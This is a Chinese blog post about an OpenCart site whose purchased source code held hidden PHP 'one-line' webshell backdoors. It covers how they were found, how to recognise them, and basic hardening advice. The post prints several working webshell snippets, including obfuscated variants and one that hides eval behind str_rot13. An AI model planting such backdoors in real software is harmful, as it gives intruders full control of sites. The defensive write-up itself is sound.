opencart不幸中招”一句话后门“,估计这样也没排查干净

几年前在某宝上购买了定制过的opencart源码,基本能够符合业务需求。由于当时刚出社会,经历不足没有安全意识。没有对购买的源码进行全面的木马查杀就直接部署上线了。近日网站被攻击,通过排查发现代码中隐藏了很多“一句话木马”。此类木马隐蔽性极好、排查难度大、变种繁多,“一句话木马”配合“中国菜刀”使用,可谓功能强大,威力无穷。入侵者可以完全控制整个网站,到处隐藏该类后门代码。

网站是部署在美国的web空间上,通过cpanel管理,首先通过cpanel面板上的病毒查杀功能发现了木马,该功能仅能扫出比较简单的“一句话木马”。具体如下图所示

木马文件内容如下:

仅通过cpanel提供的查杀并不能完全找出所有的后门,下面通过UltraEdit全目录搜索本地下载好的源码文件夹。搜索关键字为eval结果还发现其他隐藏木马,当然不是所有包含eval的都是木马,需要自己判断,通常包含以下特征(个人总结,有不足之处请各位大神不吝赐教):

  • 文件内容为php代码。
  • 其中包含eval。
  • 可能有加密过的内容。
  • 伪装成其他类型文件,如:图片格式
  • 文件扩展名比较奇怪,非正常扩展名。如下图中所示,扩展名为php-curl:

再看一下伪装成图片,并放置在图片文件夹中的木马

该假图片内容如下:

下面举几个“一句话木马”的例子:

  • 仅用GET函数就构成了木马
<?php $_GET[a]($_GET[b]);?>
  • 隐蔽变种1
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
  • 隐蔽变种2
<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
  • 避开eval关键字
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

总结:

  1. 为安全起见,建议不要直接购买源码,尤其是在没保障的平台购买。
  2. 购买虚拟主机之后一定要先修改密码。
  3. 部署代码之前一定检查是否存在木马,特别是从旧服务器迁移的源码,可能旧服务器已经被植入后门。
  4. 检查代码中是否存在非正常扩展名文件,此类文件基本上可以直接删除,包括.bak之类的,即便不是木马删除了也不影响正常使用。

个人总结,有不对之处欢迎大神批评指正,有遗漏之处欢迎大神补充。

You may also like...

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据